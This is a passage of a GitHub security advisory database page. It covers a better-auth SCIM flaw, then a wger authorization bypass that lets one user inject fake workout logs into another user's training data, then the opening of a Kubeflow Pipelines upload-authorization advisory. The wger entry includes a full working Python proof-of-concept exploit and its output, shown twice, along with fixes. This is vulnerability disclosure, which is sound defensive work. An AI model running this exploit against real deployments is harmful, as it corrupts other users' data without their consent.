adapters without an enforced unique index. That could corrupt email-keyed login and lookup, while SQL adapters could raise an unhandled adapter error.\n\n### Credit\n\nFound through internal validation.",
  "id": "GHSA-rjg6-39jm-rgg4",
  "modified": "2026-07-24T15:40:54Z",
  "published": "2026-07-24T15:40:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-rjg6-39jm-rgg4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/pull/10242"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/commit/7c126dcd1aad24468ec37e876545c1d083d8acca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/better-auth/better-auth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/releases/tag/v1.6.22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/releases/tag/v1.7.0-beta.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@better-auth/scim: account takeover and stale access via SCIM provider-id collision"
}

GHSA-RJPF-7PF5-Q54X

Vulnerability from github – Published: 2026-10-07 13:59 – Updated: 2026-10-26 15:51
VLAI
Summary
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
Details

Summary

An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.

Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.

Details

wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.

WorkoutLogViewSet.get_owner_objects() returns:

# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
    return [(Routine, 'routine'), (WorkoutSession, 'session')]
    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked
    # (SlotEntry, 'slot_entry') is MISSING

Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).

The second contributing factor is in SlotEntry.get_config_data():

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all())   # no .filter(user=...)

This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.

PoC

Prerequisites

  • Two authenticated user accounts (attacker and victim)
  • The attacker knows (or can enumerate) the victim's SlotEntry ID
  • The attacker has at least one Routine of their own (to satisfy the routine ownership check)

Attack Steps

POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json

{
    "routine": <attacker_routine_id>,
    "slot_entry": <victim_slot_entry_id>,
    "exercise": <any_valid_exercise_id>,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": "2025-01-15",
    "iteration": 1
}

Expected: HTTP 403 (the slot_entry belongs to another user) Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import json
from datetime import date, timedelta

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"

BANNER = """
=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)

# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate both users ----

print("[1] Authenticating users...")

victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
    print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
    sys.exit(1)
print(f"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...")

attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
    print(f"    Registering attacker account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        attacker_token = r.json().get("token")
    if not attacker_token:
        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not attacker_token:
        print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")


# ---- 2. Create victim's routine chain ----

print("\n[2] Setting up victim's private routine chain...")

vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))

r = requests.post(f"{API}/routine/", headers=vh, json={
    "name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f"    Routine   id={victim_routine_id}")

r = requests.post(f"{API}/day/", headers=vh, json={
    "routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f"    Day       id={victim_day_id}")

r = requests.post(f"{API}/slot/", headers=vh, json={
    "day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f"    Slot      id={victim_slot_id}")

r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]

r = requests.post(f"{API}/slot-entry/", headers=vh, json={
    "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f"    SlotEntry id={victim_slot_entry_id}  <-- TARGET")


# ---- 3. Create attacker's own routine ----

print("\n[3] Creating attacker's own routine...")

ah = api_headers(attacker_token)

r = requests.post(f"{API}/routine/", headers=ah, json={
    "name": "Attacker Routine", "start": today, "end": end_date
})
attacker_routine_id = r.json()["id"]
print(f"    Attacker routine id={attacker_routine_id}")


# ---- 4. ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry")
print(f"{'='*65}")

payload = {
    "routine": attacker_routine_id,
    "slot_entry": victim_slot_entry_id,
    "exercise": exercise_id,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": today,
    "iteration": 1,
}

print(f"\n  POST {API}/workoutlog/")
print(f"    routine    = {attacker_routine_id}  (attacker's own -> passes check)")
print(f"    slot_entry = {victim_slot_entry_id}  (VICTIM's -> NOT CHECKED)")
print(f"    weight     = 999")
print(f"    reps       = 999")

r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)

print(f"\n  Response: HTTP {r.status_code}")

if r.status_code == 201:
    d = r.json()
    print(f"  Created WorkoutLog id={d['id']}")
    print(f"    slot_entry = {d['slot_entry']}  <- VICTIM's SlotEntry!")
    print(f"    routine    = {d['routine']}  <- attacker's routine")
    print(f"    weight     = {d['weight']}")
    print(f"    reps       = {d['repetitions']}")
elif r.status_code == 403:
    print("  Access denied - NOT vulnerable (patched)")
    sys.exit(0)
else:
    print(f"  Unexpected: {r.text[:300]}")
    sys.exit(1)


# ---- 5. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

r = requests.get(
    f"{API}/routine/{victim_routine_id}/date-sequence-display/",
    headers=vh,
)
print(f"\n  GET /api/v2/routine/{victim_routine_id}/date-sequence-display/")
print(f"  (as victim - this endpoint consumes the injected logs)")
print(f"  HTTP {r.status_code}")

if r.status_code == 200:
    seq = r.json()
    print(f"  Returned {len(seq)} day(s) of data")
    if seq:
        print(f"  First entry (truncated):")
        print(f"  {json.dumps(seq[0], indent=2)[:600]}")

r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh)
victim_logs = r2.json().get("results", [])
print(f"\n  Victim's own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)")
print(f"  (The injected log is owned by attacker, so it does NOT appear")
print(f"   in victim's list view - but it IS attached to victim's SlotEntry")
print(f"   and WILL corrupt victim's progression calculations.)")

print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+
""")

Proof of Concept Output

=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================

[1] Authenticating users...
    Victim  (admin): token=7e34da0a3f3f00a4...
    Registering attacker account...
    Attacker (attacker_idor_poc): token=8a70d2881b656c18...

[2] Setting up victim's private routine chain...
    Routine   id=3
    Day       id=2
    Slot      id=2
    SlotEntry id=2  <-- TARGET

[3] Creating attacker's own routine...
    Attacker routine id=4

=================================================================
  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry
=================================================================

  POST http://localhost/api/v2/workoutlog/
    routine    = 4  (attacker's own -> passes check)
    slot_entry = 2  (VICTIM's -> NOT CHECKED)
    weight     = 999
    reps       = 999

  Response: HTTP 201
  Created WorkoutLog id=2
    slot_entry = 2  <- VICTIM's SlotEntry!
    routine    = 4  <- attacker's routine
    weight     = 999.00
    reps       = 999.00

=================================================================
  VERIFICATION
=================================================================

  GET /api/v2/routine/3/date-sequence-display/
  (as victim - this endpoint consumes the injected logs)
  HTTP 200
  Returned 31 day(s) of data

  Victim's own /api/v2/workoutlog/ shows 0 log(s)
  (The injected log is owned by attacker, so it does NOT appear
   in victim's list view - but it IS attached to victim's SlotEntry
   and WILL corrupt victim's progression calculations.)

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+

Impact

  1. Training Data Integrity: The progressive-overload engine (get_config_data) uses injected fake values when computing the victim's next workout targets. An attacker setting weight=999 or repetitions=0 can produce dangerous or nonsensical training recommendations.

  2. Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.

  3. Scalable Attack: Because only a slot_entry ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.

Fix

Primary Fix - Add slot_entry to the ownership check

# File: wger/manager/api/views.py
class WorkoutLogViewSet(WgerOwnerObjectModelViewSet):
    def get_owner_objects(self):
        return [
            (Routine, 'routine'),
            (WorkoutSession, 'session'),
            (SlotEntry, 'slot_entry'),      # ADD THIS
        ]

Defence-in-Depth - Filter logs by routine owner

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.filter(
    user=self.slot.day.routine.user
))
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46438"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T13:59:17Z",
    "nvd_published_at": "2026-10-07T14:17:10Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn authenticated attacker can inject arbitrary workout log entries into any other user\u0027s `SlotEntry` by supplying the victim\u0027s `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error.\n\nBecause `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker\u0027s injected data is silently folded into the victim\u0027s progressive-overload calculations, corrupting their auto-generated weight and repetition targets.\n\n### Details\n\nwger uses a centralized ownership-verification pattern in `WgerOwnerObjectModelViewSet.create()` (file: `wger/utils/viewsets.py`). This method iterates over the list returned by each ViewSet\u0027s `get_owner_objects()` and verifies that every listed foreign-key value in the request belongs to the authenticated user. **Foreign keys not present in the list are never checked.**\n\n`WorkoutLogViewSet.get_owner_objects()` returns:\n\n```python\n# File: wger/manager/api/views.py, lines 312-316\ndef get_owner_objects(self):\n    return [(Routine, \u0027routine\u0027), (WorkoutSession, \u0027session\u0027)]\n    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked\n    # (SlotEntry, \u0027slot_entry\u0027) is MISSING\n```\n\nBecause `slot_entry` is omitted, an attacker can supply their own `routine` (which passes the ownership check) alongside a victim\u0027s `slot_entry` ID (which is never verified).\n\nThe second contributing factor is in `SlotEntry.get_config_data()`:\n\n```python\n# File: wger/manager/models/slot_entry.py, line 367\nlogs = list(self.workoutlog_set.all())   # no .filter(user=...)\n```\n\nThis reverse-relation query returns **all** `WorkoutLog` rows linked to the `SlotEntry`, regardless of which user created them. The attacker\u0027s injected entries are therefore included in the victim\u0027s progression calculations.\n\n### PoC\n\n#### Prerequisites\n\n- Two authenticated user accounts (attacker and victim)\n- The attacker knows (or can enumerate) the victim\u0027s `SlotEntry` ID\n- The attacker has at least one `Routine` of their own (to satisfy the `routine` ownership check)\n\n#### Attack Steps\n\n```\nPOST /api/v2/workoutlog/\nAuthorization: Token \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n    \"routine\": \u003cattacker_routine_id\u003e,\n    \"slot_entry\": \u003cvictim_slot_entry_id\u003e,\n    \"exercise\": \u003cany_valid_exercise_id\u003e,\n    \"repetitions\": 999,\n    \"weight\": 999,\n    \"repetitions_unit\": 1,\n    \"weight_unit\": 1,\n    \"date\": \"2025-01-15\",\n    \"iteration\": 1\n}\n```\n\n**Expected:** HTTP 403 (the `slot_entry` belongs to another user)\n**Actual:** HTTP 201 (the log is created and linked to the victim\u0027s `SlotEntry`)\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\nTarget: wger Workout Manager\nSeverity: CRITICAL - CVSS 7.1\nCWE-639: Authorization Bypass Through User-Controlled Key\n\nUsage:\n    python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport json\nfrom datetime import date, timedelta\n\nif len(sys.argv) \u003c 2:\n    print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n    print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nVICTIM_USER = \"admin\"\nVICTIM_PASS = \"adminadmin\"\nATTACKER_USER = \"attacker_idor_poc\"\nATTACKER_PASS = \"Attacker!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\n  Severity: CRITICAL\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n# ---- Helper ----\ndef api_login(username, password):\n    r = requests.post(f\"{API}/login/\", json={\n        \"username\": username, \"password\": password\n    })\n    if r.status_code == 200:\n        return r.json().get(\"token\")\n    return None\n\ndef api_headers(token):\n    return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- 1. Authenticate both users ----\n\nprint(\"[1] Authenticating users...\")\n\nvictim_token = api_login(VICTIM_USER, VICTIM_PASS)\nif not victim_token:\n    print(f\"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.\")\n    sys.exit(1)\nprint(f\"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...\")\n\nattacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not attacker_token:\n    print(f\"    Registering attacker account...\")\n    r = requests.post(f\"{API}/register/\", json={\n        \"username\": ATTACKER_USER,\n        \"password\": ATTACKER_PASS,\n    })\n    if r.status_code in (200, 201):\n        attacker_token = r.json().get(\"token\")\n    if not attacker_token:\n        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)\n    if not attacker_token:\n        print(f\"[-] Cannot create/login attacker. Response: {r.text[:200]}\")\n        sys.exit(1)\nprint(f\"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...\")\n\n\n# ---- 2. Create victim\u0027s routine chain ----\n\nprint(\"\\n[2] Setting up victim\u0027s private routine chain...\")\n\nvh = api_headers(victim_token)\ntoday = str(date.today())\nend_date = str(date.today() + timedelta(days=30))\n\nr = requests.post(f\"{API}/routine/\", headers=vh, json={\n    \"name\": \"Victim Private Routine\", \"start\": today, \"end\": end_date\n})\nvictim_routine_id = r.json()[\"id\"]\nprint(f\"    Routine   id={victim_routine_id}\")\n\nr = requests.post(f\"{API}/day/\", headers=vh, json={\n    \"routine\": victim_routine_id, \"order\": 1, \"name\": \"Push Day\"\n})\nvictim_day_id = r.json()[\"id\"]\nprint(f\"    Day       id={victim_day_id}\")\n\nr = requests.post(f\"{API}/slot/\", headers=vh, json={\n    \"day\": victim_day_id, \"order\": 1\n})\nvictim_slot_id = r.json()[\"id\"]\nprint(f\"    Slot      id={victim_slot_id}\")\n\nr = requests.get(f\"{API}/exercise/?limit=1\u0026format=json\", headers=vh)\nexercise_id = r.json()[\"results\"][0][\"id\"]\n\nr = requests.post(f\"{API}/slot-entry/\", headers=vh, json={\n    \"slot\": victim_slot_id, \"exercise\": exercise_id, \"order\": 1, \"type\": \"normal\"\n})\nvictim_slot_entry_id = r.json()[\"id\"]\nprint(f\"    SlotEntry id={victim_slot_entry_id}  \u003c-- TARGET\")\n\n\n# ---- 3. Create attacker\u0027s own routine ----\n\nprint(\"\\n[3] Creating attacker\u0027s own routine...\")\n\nah = api_headers(attacker_token)\n\nr = requests.post(f\"{API}/routine/\", headers=ah, json={\n    \"name\": \"Attacker Routine\", \"start\": today, \"end\": end_date\n})\nattacker_routine_id = r.json()[\"id\"]\nprint(f\"    Attacker routine id={attacker_routine_id}\")\n\n\n# ---- 4. ATTACK ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  ATTACK: Injecting fake WorkoutLog into victim\u0027s SlotEntry\")\nprint(f\"{\u0027=\u0027*65}\")\n\npayload = {\n    \"routine\": attacker_routine_id,\n    \"slot_entry\": victim_slot_entry_id,\n    \"exercise\": exercise_id,\n    \"repetitions\": 999,\n    \"weight\": 999,\n    \"repetitions_unit\": 1,\n    \"weight_unit\": 1,\n    \"date\": today,\n    \"iteration\": 1,\n}\n\nprint(f\"\\n  POST {API}/workoutlog/\")\nprint(f\"    routine    = {attacker_routine_id}  (attacker\u0027s own -\u003e passes check)\")\nprint(f\"    slot_entry = {victim_slot_entry_id}  (VICTIM\u0027s -\u003e NOT CHECKED)\")\nprint(f\"    weight     = 999\")\nprint(f\"    reps       = 999\")\n\nr = requests.post(f\"{API}/workoutlog/\", headers=ah, json=payload)\n\nprint(f\"\\n  Response: HTTP {r.status_code}\")\n\nif r.status_code == 201:\n    d = r.json()\n    print(f\"  Created WorkoutLog id={d[\u0027id\u0027]}\")\n    print(f\"    slot_entry = {d[\u0027slot_entry\u0027]}  \u003c- VICTIM\u0027s SlotEntry!\")\n    print(f\"    routine    = {d[\u0027routine\u0027]}  \u003c- attacker\u0027s routine\")\n    print(f\"    weight     = {d[\u0027weight\u0027]}\")\n    print(f\"    reps       = {d[\u0027repetitions\u0027]}\")\nelif r.status_code == 403:\n    print(\"  Access denied - NOT vulnerable (patched)\")\n    sys.exit(0)\nelse:\n    print(f\"  Unexpected: {r.text[:300]}\")\n    sys.exit(1)\n\n\n# ---- 5. VERIFY ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{\u0027=\u0027*65}\")\n\nr = requests.get(\n    f\"{API}/routine/{victim_routine_id}/date-sequence-display/\",\n    headers=vh,\n)\nprint(f\"\\n  GET /api/v2/routine/{victim_routine_id}/date-sequence-display/\")\nprint(f\"  (as victim - this endpoint consumes the injected logs)\")\nprint(f\"  HTTP {r.status_code}\")\n\nif r.status_code == 200:\n    seq = r.json()\n    print(f\"  Returned {len(seq)} day(s) of data\")\n    if seq:\n        print(f\"  First entry (truncated):\")\n        print(f\"  {json.dumps(seq[0], indent=2)[:600]}\")\n\nr2 = requests.get(f\"{API}/workoutlog/?format=json\", headers=vh)\nvictim_logs = r2.json().get(\"results\", [])\nprint(f\"\\n  Victim\u0027s own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)\")\nprint(f\"  (The injected log is owned by attacker, so it does NOT appear\")\nprint(f\"   in victim\u0027s list view - but it IS attached to victim\u0027s SlotEntry\")\nprint(f\"   and WILL corrupt victim\u0027s progression calculations.)\")\n\nprint(\"\"\"\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  HTTP 201 accepted the cross-user slot_entry reference.  |\n  |  The attacker\u0027s fake log (weight=999, reps=999) is now   |\n  |  linked to the victim\u0027s SlotEntry and will be included   |\n  |  in get_config_data() -\u003e corrupting auto-progression.    |\n  +----------------------------------------------------------+\n\"\"\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\n  Severity: CRITICAL\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\n[1] Authenticating users...\n    Victim  (admin): token=7e34da0a3f3f00a4...\n    Registering attacker account...\n    Attacker (attacker_idor_poc): token=8a70d2881b656c18...\n\n[2] Setting up victim\u0027s private routine chain...\n    Routine   id=3\n    Day       id=2\n    Slot      id=2\n    SlotEntry id=2  \u003c-- TARGET\n\n[3] Creating attacker\u0027s own routine...\n    Attacker routine id=4\n\n=================================================================\n  ATTACK: Injecting fake WorkoutLog into victim\u0027s SlotEntry\n=================================================================\n\n  POST http://localhost/api/v2/workoutlog/\n    routine    = 4  (attacker\u0027s own -\u003e passes check)\n    slot_entry = 2  (VICTIM\u0027s -\u003e NOT CHECKED)\n    weight     = 999\n    reps       = 999\n\n  Response: HTTP 201\n  Created WorkoutLog id=2\n    slot_entry = 2  \u003c- VICTIM\u0027s SlotEntry!\n    routine    = 4  \u003c- attacker\u0027s routine\n    weight     = 999.00\n    reps       = 999.00\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  GET /api/v2/routine/3/date-sequence-display/\n  (as victim - this endpoint consumes the injected logs)\n  HTTP 200\n  Returned 31 day(s) of data\n\n  Victim\u0027s own /api/v2/workoutlog/ shows 0 log(s)\n  (The injected log is owned by attacker, so it does NOT appear\n   in victim\u0027s list view - but it IS attached to victim\u0027s SlotEntry\n   and WILL corrupt victim\u0027s progression calculations.)\n\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  HTTP 201 accepted the cross-user slot_entry reference.  |\n  |  The attacker\u0027s fake log (weight=999, reps=999) is now   |\n  |  linked to the victim\u0027s SlotEntry and will be included   |\n  |  in get_config_data() -\u003e corrupting auto-progression.    |\n  +----------------------------------------------------------+\n```\n\n### Impact\n\n1. **Training Data Integrity:** The progressive-overload engine (`get_config_data`) uses injected fake values when computing the victim\u0027s next workout targets. An attacker setting `weight=999` or `repetitions=0` can produce dangerous or nonsensical training recommendations.\n\n2. **Silent Corruption:** The victim receives no notification. Their training plan simply starts producing unexpected numbers.\n\n3. **Scalable Attack:** Because only a `slot_entry` ID is needed, an attacker can iterate over IDs and inject data into every user\u0027s training program with automated requests.\n\n### Fix\n\n#### Primary Fix - Add `slot_entry` to the ownership check\n\n```python\n# File: wger/manager/api/views.py\nclass WorkoutLogViewSet(WgerOwnerObjectModelViewSet):\n    def get_owner_objects(self):\n        return [\n            (Routine, \u0027routine\u0027),\n            (WorkoutSession, \u0027session\u0027),\n            (SlotEntry, \u0027slot_entry\u0027),      # ADD THIS\n        ]\n```\n\n#### Defence-in-Depth - Filter logs by routine owner\n\n```python\n# File: wger/manager/models/slot_entry.py, line 367\nlogs = list(self.workoutlog_set.filter(\n    user=self.slot.day.routine.user\n))\n```",
  "id": "GHSA-rjpf-7pf5-q54x",
  "modified": "2026-10-26T15:51:03Z",
  "published": "2026-10-07T13:59:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-rjpf-7pf5-q54x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46438"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/commit/b29cf178651bbcc243d21673932e32bd42017893"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/wger/PYSEC-2026-4314.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/releases/tag/2.6"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/wger"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry"
}

GHSA-RJR3-43J3-4Q8G

Vulnerability from github – Published: 2026-11-09 22:22 – Updated: 2026-11-09 22:22
VLAI
Summary
Kubeflow Pipelines API server lacks authorization for shared pipeline uploads
Details

Summary

In multi-user mode, the Kubeflow Pipelines API server's HTTP multipart upload endpoints (POST /apis/v2beta1/pipelines/upload and POST /apis/v2beta1/pipelines/upload_version) perform no authorization when the target namespace is empty. The authorization helper canUploadVersionedPipeline returns nil, skipping SubjectAccessReview, whenever the resolved namespace is the empty string (backend/src/apiserver/server/pipeline_upload_server.go:401-403). An empty namespace is how KFP addresses shared, cluster-wide pipelines and is the default whenever the caller omits the namespace query parameter, because REQUIRE_NAMESPACE_FOR_PIPELINES defaults to false and is unset in every shipped manifest. As a result, an arbitrary low-privilege tenant (or, when the API server is reachable, an unauthenticated caller) can create cluster-shared pipelines and inject new versions into existing shared pipelines, replacing the container image, command, and args that other tenants execute. The gRPC sibling for the same write, canAccessPipeline, instead remaps the empty namespace to the system namespace and authorizes, with a comment stating shared-pipeline writes "must still be authorized". That confirms this is an omission, not intended behavior.

Description

uploadPipeline and uploadPipelineVersion both build a ResourceAttributes{Verb: create} and delegate the access decision to canUploadVersionedPipeline:

// backend/src/apiserver/server/pipeline_upload_server.go:387-421
func (s *PipelineUploadServer) canUploadVersionedPipeline(r *http.Request, pipelineID string, resourceAttributes *authorizationv1.ResourceAttributes) error {
    if !common.IsMultiUserMode() {
        return nil
    }
    if len(pipelineID) > 0 {
        namespace, err := s.resourceManager.FetchNamespaceFromPipelineId(pipelineID)
        if err != nil {
            return util.Wrap(err, "Failed to authorize with the Pipeline ID")
        }
        if len(resourceAttributes.Namespace) == 0 {
            resourceAttributes.Namespace = namespace
        }
    }
    if resourceAttributes.Namespace == "" {
        return nil          // empty namespace = no SubjectAccessReview
    }
    // ... only here does IsAuthorized() run ...
}

When the namespace is empty (a shared/cluster-wide pipeline, or simply an upload with no namespace parameter), the function returns at line 401-403 and IsAuthorized is never reached.

Reachability is the default. ValidateNamespaceRequired only rejects an empty namespace when IsNamespaceRequiredForPipelines() is true:

// backend/src/apiserver/validation/namespace.go:25-30
func ValidateNamespaceRequired(namespace string) error {
    if common.IsMultiUserMode() && common.IsNamespaceRequiredForPipelines() && namespace == "" {
        return util.NewInvalidInputError("Namespace is required for pipeline operations")
    }
    return nil
}
// backend/src/apiserver/common/config.go:73-74  -> default FALSE
func IsNamespaceRequiredForPipelines() bool {
    return GetBoolConfigWithDefault(RequireNamespaceForPipelines, false)
}

REQUIRE_NAMESPACE_FOR_PIPELINES (config.go:41) defaults to false and is not set in any manifest under manifests/. So in a default multi-user install, empty namespaces pass validation and flow into the unguarded branch.

The gRPC sibling proves the intended behavior is to authorize empty-namespace writes:

// backend/src/apiserver/server/pipeline_server.go:1290-1306 (canAccessPipeline)
    // Skip authorization for read-only operations on shared pipelines in multi-user mode.
    // Write operations (create, update, delete) on shared pipelines must still be authorized
    // against the KFP system namespace, since shared pipelines have no namespace of their own.
    if s.resourceManager.IsEmptyNamespace(resourceAttributes.Namespace) {
        if resourceAttributes.Verb == common.RbacResourceVerbGet || resourceAttributes.Verb == common.RbacResourceVerbList {
            return nil
        }
        resourceAttributes.Namespace = common.GetPodNamespace()
        // ... IsAuthorized(...) ...
        return nil
    }

Reads of shared pipelines intentionally skip authorization; writes must be authorized against the system namespace. The upload endpoints only ever perform writes, yet canUploadVersionedPipeline applies the read behavior to them.

Proof of Concept

